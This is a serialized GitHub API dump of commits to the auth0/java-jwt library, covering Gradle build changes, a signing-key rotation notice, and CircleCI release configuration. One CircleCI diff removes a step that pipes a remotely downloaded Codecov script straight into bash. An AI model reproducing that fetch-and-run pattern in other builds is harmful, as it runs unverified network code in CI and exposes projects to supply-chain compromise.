followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  	poovamrajj  J j  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}j  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj  ,https://api.github.com/users/poovamraj/reposj  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(j  (1ccecd40417bb7e4da9cf94aa612a8ad4d0086faj  \https://api.github.com/repos/auth0/java-jwt/commits/1ccecd40417bb7e4da9cf94aa612a8ad4d0086faj  Qhttps://github.com/auth0/java-jwt/commit/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fauastats}(totalK!	additionsK!	deletionsK ufiles]}(j  (bb9308c27fa389a6671f3db25a8aa8e5ef4691b0filenamelib/build.gradlestatusmodifiedj  K!j  K changesK!blob_urlbhttps://github.com/auth0/java-jwt/blob/030c685a07d125b2eac813daaa222b8bd1631cf2/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/030c685a07d125b2eac813daaa222b8bd1631cf2/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=030c685a07d125b2eac813daaa222b8bd1631cf2patchX3  @@ -55,6 +55,10 @@ dependencies {
     testImplementation 'org.mockito:mockito-core:2.18.3'
 }
 
+jacoco {
+    toolVersion = "0.8.7"
+}
+
 jacocoTestReport {
     reports {
         xml.enabled = true
@@ -87,6 +91,35 @@ task compileModuleInfoJava(type: JavaCompile) {
     }
 }
 
+compileTestJava {
+    options.compilerArgs = ['--release', "8"]
+}
+
+def testJava8 = tasks.register('testJava8', Test) {
+    description = 'Runs unit tests on Java 8.'
+    group = 'verification'
+
+    javaLauncher.set(javaToolchains.launcherFor {
+        languageVersion = JavaLanguageVersion.of(8)
+    })
+    shouldRunAfter(tasks.named('test'))
+}
+
+def testJava17 = tasks.register('testJava17', Test) {
+    description = 'Runs unit tests on Java 17.'
+    group = 'verification'
+
+    javaLauncher.set(javaToolchains.launcherFor {
+        languageVersion = JavaLanguageVersion.of(17)
+    })
+    shouldRunAfter(tasks.named('test'))
+}
+
+tasks.named('check') {
+    dependsOn(testJava8)
+    dependsOn(testJava17)
+}
+
 jar {
     manifest.attributes('Multi-Release': 'true')
 }uau(6f07e9d7f4c081e373035c05ef38e25cb949f2fb}(sha(6f07e9d7f4c081e373035c05ef38e25cb949f2fbnode_idEC_kwDOAQtL0doAKDZmMDdlOWQ3ZjRjMDgxZTM3MzAzNWMwNWVmMzhlMjVjYjk0OWYyZmIcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2023-01-11T15:22:42Zu	committer}(j:  
Poovamraj T Tj<  poovamraj@gmail.comj>  2023-01-11T15:22:42Zumessage
Release 4.2.2tree}(j2  (cec1441e6805cd0db1c99824ef0c45239c0a6b74url^https://api.github.com/repos/auth0/java-jwt/git/trees/cec1441e6805cd0db1c99824ef0c45239c0a6b74ujJ  `https://api.github.com/repos/auth0/java-jwt/git/commits/6f07e9d7f4c081e373035c05ef38e25cb949f2fb
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujJ  \https://api.github.com/repos/auth0/java-jwt/commits/6f07e9d7f4c081e373035c05ef38e25cb949f2fbhtml_urlQhttps://github.com/auth0/java-jwt/commit/6f07e9d7f4c081e373035c05ef38e25cb949f2fbcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/6f07e9d7f4c081e373035c05ef38e25cb949f2fb/commentsj8  }(login	poovamrajidJ j4  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jJ  &https://api.github.com/users/poovamrajjV  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj@  }(j[  	poovamrajj]  J j4  MDQ6VXNlcjE1OTEwNDI1j_  4https://avatars.githubusercontent.com/u/15910425?v=4ja  h3jJ  &https://api.github.com/users/poovamrajjV  https://github.com/poovamrajjd  0https://api.github.com/users/poovamraj/followersjf  =https://api.github.com/users/poovamraj/following{/other_user}jh  6https://api.github.com/users/poovamraj/gists{/gist_id}jj  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jl  4https://api.github.com/users/poovamraj/subscriptionsjn  +https://api.github.com/users/poovamraj/orgsjp  ,https://api.github.com/users/poovamraj/reposjr  7https://api.github.com/users/poovamraj/events{/privacy}jt  6https://api.github.com/users/poovamraj/received_eventsjv  Userjx  uparents]}(j2  (23e85493e19f9d1d8501d62a866525dc152551aajJ  \https://api.github.com/repos/auth0/java-jwt/commits/23e85493e19f9d1d8501d62a866525dc152551aajV  Qhttps://github.com/auth0/java-jwt/commit/23e85493e19f9d1d8501d62a866525dc152551aauastats}(totalK	additionsK	deletionsK ufiles](}(j2  (eaf3feec2b3755bab1128e719f293a26e39fb72cfilenameCHANGELOG.mdstatusmodifiedj  Kj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/6f07e9d7f4c081e373035c05ef38e25cb949f2fb/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/6f07e9d7f4c081e373035c05ef38e25cb949f2fb/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=6f07e9d7f4c081e373035c05ef38e25cb949f2fbpatchXs  @@ -1,5 +1,11 @@
 # Change Log
 
+## [4.2.2](https://github.com/auth0/java-jwt/tree/4.2.2) (2023-01-11)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.1...4.2.2)
+
+This patch release does not contain any functional changes, but is being released using an updated signing key for verification as part of our commitment to best security practices.
+Please review [the README note for additional details.](https://github.com/auth0/java-jwt/blob/master/README.md)
+
 ## [4.2.1](https://github.com/auth0/java-jwt/tree/4.2.1) (2022-10-24)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.0...4.2.1)
 u}(j2  (2a0712e33be0c7bb916b3f26da1a10f1aca7f288j  	README.mdj  modifiedj  Kj  K j  Kj  Yhttps://github.com/auth0/java-jwt/blob/6f07e9d7f4c081e373035c05ef38e25cb949f2fb/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/6f07e9d7f4c081e373035c05ef38e25cb949f2fb/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=6f07e9d7f4c081e373035c05ef38e25cb949f2fbj  X}  @@ -1,3 +1,8 @@
+> **Note**
+> As part of our ongoing commitment to best security practices, we have rotated the signing keys used to sign previous releases of this SDK. As a result, new patch builds have been released using the new signing key. Please upgrade at your earliest convenience.
+>
+> While this change won't affect most developers, if you have implemented a dependency signature validation step in your build process, you may notice a warning that past releases can't be verified. This is expected, and a result of the key rotation process. Updating to the latest version will resolve this for you.
+
 ![A Java implementation of JSON Web Token (JWT) - RFC 7519.](https://cdn.auth0.com/website/sdks/banners/java-jwt-banner.png)
 
 [![CircleCI](https://img.shields.io/circleci/project/github/auth0/java-jwt.svg?style=flat-square)](https://circleci.com/gh/auth0/java-jwt/tree/master)ueu(2da5a51bcc437a2f5f4a892538cc5524523fd76d}(sha(2da5a51bcc437a2f5f4a892538cc5524523fd76dnode_idEC_kwDOAQtL0doAKDJkYTVhNTFiY2M0MzdhMmY1ZjRhODkyNTM4Y2M1NTI0NTIzZmQ3NmQcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-23T18:54:36Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-03-23T18:54:36Zumessage
Trigger Buildtree}(j  (093b2c7f69657d368f8eb155f487a0447edd674aurl^https://api.github.com/repos/auth0/java-jwt/git/trees/093b2c7f69657d368f8eb155f487a0447edd674auj  `https://api.github.com/repos/auth0/java-jwt/git/commits/2da5a51bcc437a2f5f4a892538cc5524523fd76d
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/2da5a51bcc437a2f5f4a892538cc5524523fd76dhtml_urlQhttps://github.com/auth0/java-jwt/commit/2da5a51bcc437a2f5f4a892538cc5524523fd76dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/2da5a51bcc437a2f5f4a892538cc5524523fd76d/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  	poovamrajj  J j  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}j  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj  ,https://api.github.com/users/poovamraj/reposj  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(j  (2633a61e5985336dbc6fa8a930e4e4b55b683e74j  \https://api.github.com/repos/auth0/java-jwt/commits/2633a61e5985336dbc6fa8a930e4e4b55b683e74j  Qhttps://github.com/auth0/java-jwt/commit/2633a61e5985336dbc6fa8a930e4e4b55b683e74uastats}(totalK 	additionsK 	deletionsK ufiles]u(14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1a}(sha(14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1anode_idEC_kwDOAQtL0doAKDE0YTE2YmU1MmE2Y2ZiNWM4ZjA4ZjZiYzEyNTRkODk0M2NiMWRjMWEcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-15T02:58:28Zu	committer}(j  Jim Andersonj  jimranderson@gmail.comj!  2022-10-15T02:58:28ZumessageAdd Ship CLI and orb to v3tree}(j  (e9d25c7c3457463dc6a09792ee38a6376c05845furl^https://api.github.com/repos/auth0/java-jwt/git/trees/e9d25c7c3457463dc6a09792ee38a6376c05845fuj-  `https://api.github.com/repos/auth0/java-jwt/git/commits/14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1a
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj-  \https://api.github.com/repos/auth0/java-jwt/commits/14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1ahtml_urlQhttps://github.com/auth0/java-jwt/commit/14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1a/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j-  'https://api.github.com/users/jimmyjamesj9  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj#  }(j>  
jimmyjamesj@  J7 j  MDQ6VXNlcjI3NjIyNQ==jB  2https://avatars.githubusercontent.com/u/276225?v=4jD  h3j-  'https://api.github.com/users/jimmyjamesj9  https://github.com/jimmyjamesjG  1https://api.github.com/users/jimmyjames/followersjI  >https://api.github.com/users/jimmyjames/following{/other_user}jK  7https://api.github.com/users/jimmyjames/gists{/gist_id}jM  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jO  5https://api.github.com/users/jimmyjames/subscriptionsjQ  ,https://api.github.com/users/jimmyjames/orgsjS  -https://api.github.com/users/jimmyjames/reposjU  8https://api.github.com/users/jimmyjames/events{/privacy}jW  7https://api.github.com/users/jimmyjames/received_eventsjY  Userj[  uparents]}(j  (1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj-  \https://api.github.com/repos/auth0/java-jwt/commits/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj9  Qhttps://github.com/auth0/java-jwt/commit/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fuastats}(totalK/	additionsK+	deletionsKufiles](}(j  (77628fea3efecc5d3f8225c2b708303827faa6ccfilename.circleci/config.ymlstatusmodifiedju  Kjv  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1a/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1a/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1apatchXf  @@ -1,4 +1,7 @@
 version: 2.1
+orbs:
+  ship: auth0/ship@0.7.2
+  codecov: codecov/codecov@3
 
 commands:
   checkout-and-build:
@@ -19,10 +22,7 @@ commands:
   run-tests:
     steps:
       - run: ./gradlew check jacocoTestReport --continue --console=plain
-      - run:
-          name: Upload Coverage
-          when: on_success
-          command: bash <(curl -s https://codecov.io/bash) -Z -C $CIRCLE_SHA1
+      - codecov/upload
   run-api-diff:
     steps:
       # run apiDiff task
@@ -58,6 +58,17 @@ workflows:
   build-and-test:
     jobs:
       - build
+      - ship/java-publish:
+          prefix-tag: false
+          context:
+            - publish-gh
+            - publish-sonatype
+          filters:
+            branches:
+              only:
+                - v3
+          requires:
+            - build
   api-diff:
     jobs:
       - api-diffu}(j  (2bd0fdb33222abbec9292f30b3179b632d2fa338j{  .shiprcj}  addedju  Kjv  K j  Kj  Whttps://github.com/auth0/java-jwt/blob/14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1a/.shiprcj  Vhttps://github.com/auth0/java-jwt/raw/14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1a/.shiprcj  ihttps://api.github.com/repos/auth0/java-jwt/contents/.shiprc?ref=14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1aj  @@ -0,0 +1,7 @@
+{
+  "files": {
+    "README.md": [],
+    "lib/build.gradle": ["version[[:blank:]]*=[[:blank:]]*{MAJOR}.{MINOR}.{PATCH}"]
+  },
+  "prefixVersion": false
+}
\ No newline at end of fileu}(j  (3e98e33c07d5286f5fc3cc54a307ef640263f4a1j{  lib/build.gradlej}  modifiedju  Kjv  K j  Kj  bhttps://github.com/auth0/java-jwt/blob/14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1a/lib%2Fbuild.gradlej  ahttps://github.com/auth0/java-jwt/raw/14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1a/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1aj  X  @@ -1,9 +1,21 @@
+
+buildscript {
+    version = "3.19.2"
+}
+
 plugins {
     id 'java'
     id 'jacoco'
     id 'com.auth0.gradle.oss-library.java'
 }
 
+def signingKey = findProperty('signingKey')
+def signingKeyPwd = findProperty('signingPassword')
+
+signing {
+    useInMemoryPgpKeys(signingKey, signingKeyPwd)
+}
+
 logger.lifecycle("Using version ${version} for ${group}.${name}")
 
 oss {
@@ -12,6 +24,7 @@ oss {
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
     baselineCompareVersion "3.18.2"
+    skipAssertSigningConfiguration true
 
     developers {
         auth0 {
@@ -93,3 +106,11 @@ jar {
 
 compileModuleInfoJava.dependsOn compileJava
 classes.dependsOn compileModuleInfoJava
+
+// Creates a version.txt file containing the current version of the SDK.
+// This file is picked up and parsed by our Ship Orb to determine the version.
+task exportVersion()  {
+    doLast {
+        new File(rootDir, "version.txt").text = "$version"
+    }
+}ueu(3cff66f1a23b51ab85ae4d7c5c1837b90677c75e}(sha(3cff66f1a23b51ab85ae4d7c5c1837b90677c75enode_idEC_kwDOAQtL0doAKDNjZmY2NmYxYTIzYjUxYWI4NWFlNGQ3YzVjMTgzN2I5MDY3N2M3NWUcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-24T21:52:15Zu	committer}(j  GitHubj  noreply@github.comj  2022-10-24T21:52:15ZumessageUse latest ship orb (#634)tree}(j  (6b5b935f389f84a10d16ec478a21ad95955eee48url^https://api.github.com/repos/auth0/java-jwt/git/trees/6b5b935f389f84a10d16ec478a21ad95955eee48uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/3cff66f1a23b51ab85ae4d7c5c1837b90677c75e
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjVwkPCRBK7hj4Ov3rIwAA8XYIAI3Qv58iHoD3rynUPiLTO4MP
PUFMjdWTG4tup6/okHk+BByZqYsx95nwG23qLkHaOtRGc0J+K8TjnuvCHino1nBk
WPpfna4ye0BP1hsmzFoIAmO7EgZ6JN6C7Nc71k4pBmbsPT3O3S6Gqj6S+jLUnbBn
cc9UuBQA8JhekivY3YPNoC8BDi8oc4p2Ye461GyWzVufhMTT6h8nEVDIrg965OHx
erKvdgZMk0aqzeD63RV4ClX5cioekTVmmLbFjSg4hdymdFD0DVKBeudQUF+rHM9G
kl4AxmkK7ssWyeuu+3+oXDmkkpSbdYMjwVDeZwEBsiuRzbXsxjF0/gDfy2x1Bwg=
=2QQg
-----END PGP SIGNATURE-----
payloadtree 6b5b935f389f84a10d16ec478a21ad95955eee48
parent c8d0ba995543c9cee50abe9f4aa4f9873b29489f
author Jim Anderson <jim.anderson@auth0.com> 1666648335 -0500
committer GitHub <noreply@github.com> 1666648335 -0500

Use latest ship orb (#634)

uuj  \https://api.github.com/repos/auth0/java-jwt/commits/3cff66f1a23b51ab85ae4d7c5c1837b90677c75ehtml_urlQhttps://github.com/auth0/java-jwt/commit/3cff66f1a23b51ab85ae4d7c5c1837b90677c75ecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3cff66f1a23b51ab85ae4d7c5c1837b90677c75e/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j  (c8d0ba995543c9cee50abe9f4aa4f9873b29489fj  \https://api.github.com/repos/auth0/java-jwt/commits/c8d0ba995543c9cee50abe9f4aa4f9873b29489fj  Qhttps://github.com/auth0/java-jwt/commit/c8d0ba995543c9cee50abe9f4aa4f9873b29489fuastats}(totalK	additionsK	deletionsKufiles]}(j  (6c87574b8777e248e453b80da47138df5fdba03efilename.circleci/config.ymlstatusmodifiedj  Kj  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/3cff66f1a23b51ab85ae4d7c5c1837b90677c75e/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/3cff66f1a23b51ab85ae4d7c5c1837b90677c75e/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=3cff66f1a23b51ab85ae4d7c5c1837b90677c75epatch@@ -1,6 +1,6 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0.7.3
+  ship: auth0/ship@0
   codecov: codecov/codecov@3
 
 commands:uau(4fbe13f8da785c4826cf5b8fd4c3fec708cdda89}(sha(4fbe13f8da785c4826cf5b8fd4c3fec708cdda89node_idEC_kwDOAQtL0doAKDRmYmUxM2Y4ZGE3ODVjNDgyNmNmNWI4ZmQ0YzNmZWM3MDhjZGRhODkcommit}(author}(namefrederikprijckemailfrederik.prijck@auth0.comdate2022-10-11T10:18:20Zu	committer}(j  frederikprijckj  frederik.prijck@auth0.comj  2022-10-11T10:18:20Zumessagerevert changestree}(j  (a1a070849bb66e88219ab53482f7f158dd3f308curl^https://api.github.com/repos/auth0/java-jwt/git/trees/a1a070849bb66e88219ab53482f7f158dd3f308cuj)  `https://api.github.com/repos/auth0/java-jwt/git/commits/4fbe13f8da785c4826cf5b8fd4c3fec708cdda89
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj)  \https://api.github.com/repos/auth0/java-jwt/commits/4fbe13f8da785c4826cf5b8fd4c3fec708cdda89html_urlQhttps://github.com/auth0/java-jwt/commit/4fbe13f8da785c4826cf5b8fd4c3fec708cdda89comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/4fbe13f8da785c4826cf5b8fd4c3fec708cdda89/commentsj  }(loginfrederikprijckidJW  j  MDQ6VXNlcjIxNDY5MDM=
avatar_url3https://avatars.githubusercontent.com/u/2146903?v=4gravatar_idh3j)  +https://api.github.com/users/frederikprijckj5  !https://github.com/frederikprijck
followers_url5https://api.github.com/users/frederikprijck/followers
following_urlBhttps://api.github.com/users/frederikprijck/following{/other_user}	gists_url;https://api.github.com/users/frederikprijck/gists{/gist_id}starred_urlBhttps://api.github.com/users/frederikprijck/starred{/owner}{/repo}subscriptions_url9https://api.github.com/users/frederikprijck/subscriptionsorganizations_url0https://api.github.com/users/frederikprijck/orgs	repos_url1https://api.github.com/users/frederikprijck/repos
events_url<https://api.github.com/users/frederikprijck/events{/privacy}received_events_url;https://api.github.com/users/frederikprijck/received_eventstypeUser
site_adminuj  }(j:  frederikprijckj<  JW  j  MDQ6VXNlcjIxNDY5MDM=j>  3https://avatars.githubusercontent.com/u/2146903?v=4j@  h3j)  +https://api.github.com/users/frederikprijckj5  !https://github.com/frederikprijckjC  5https://api.github.com/users/frederikprijck/followersjE  Bhttps://api.github.com/users/frederikprijck/following{/other_user}jG  ;https://api.github.com/users/frederikprijck/gists{/gist_id}jI  Bhttps://api.github.com/users/frederikprijck/starred{/owner}{/repo}jK  9https://api.github.com/users/frederikprijck/subscriptionsjM  0https://api.github.com/users/frederikprijck/orgsjO  1https://api.github.com/users/frederikprijck/reposjQ  <https://api.github.com/users/frederikprijck/events{/privacy}jS  ;https://api.github.com/users/frederikprijck/received_eventsjU  UserjW  uparents]}(j  (6a666b0c822d8a453405e67f702c0b326d2d8a5cj)  \https://api.github.com/repos/auth0/java-jwt/commits/6a666b0c822d8a453405e67f702c0b326d2d8a5cj5  Qhttps://github.com/auth0/java-jwt/commit/6a666b0c822d8a453405e67f702c0b326d2d8a5cuastats}(totalK	additionsK 	deletionsKufiles](}(j  (23f09bb2a65ff15edb8672f63cd1e33d731e724ffilename.circleci/config.ymlstatusmodifiedjq  K jr  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/4fbe13f8da785c4826cf5b8fd4c3fec708cdda89/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/4fbe13f8da785c4826cf5b8fd4c3fec708cdda89/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=4fbe13f8da785c4826cf5b8fd4c3fec708cdda89patch@@ -66,7 +66,6 @@ workflows:
             branches:
               only:
                 - master
-                - automated-release
           requires:
             - build
   # api-diff:u}(j  (3649399cedbf73222cf3538482338b5f1e184244jw  lib/build.gradlejy  modifiedjq  K jr  Kj{  Kj|  bhttps://github.com/auth0/java-jwt/blob/4fbe13f8da785c4826cf5b8fd4c3fec708cdda89/lib%2Fbuild.gradlej~  ahttps://github.com/auth0/java-jwt/raw/4fbe13f8da785c4826cf5b8fd4c3fec708cdda89/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=4fbe13f8da785c4826cf5b8fd4c3fec708cdda89j  X  @@ -67,7 +67,6 @@ javadoc {
 dependencies {
     implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2.2'
 
-
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
     testImplementation 'junit:junit:4.13.2'
     testImplementation 'net.jodah:concurrentunit:0.4.6'ueu(c32b3114c647dd8753481b9de3a4232a5dc90bcb}(sha(c32b3114c647dd8753481b9de3a4232a5dc90bcbnode_idEC_kwDOAQtL0doAKGMzMmIzMTE0YzY0N2RkODc1MzQ4MWI5ZGUzYTQyMzJhNWRjOTBiY2Icommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-14T14:21:08Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-03-16T11:37:06ZumessageuDeprecate ES256K Algorithm (#543)

* [SDK-3192] Deprecate secp256k1 curve for EC Algorithms

* Documentation updatetree}(j  (7a1b1c6c06afa93e73cbd81310ae7734fd0b57cfurl^https://api.github.com/repos/auth0/java-jwt/git/trees/7a1b1c6c06afa93e73cbd81310ae7734fd0b57cfuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/c32b3114c647dd8753481b9de3a4232a5dc90bcb
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/c32b3114c647dd8753481b9de3a4232a5dc90bcbhtml_urlQhttps://github.com/auth0/java-jwt/commit/c32b3114c647dd8753481b9de3a4232a5dc90bcbcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/c32b3114c647dd8753481b9de3a4232a5dc90bcb/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
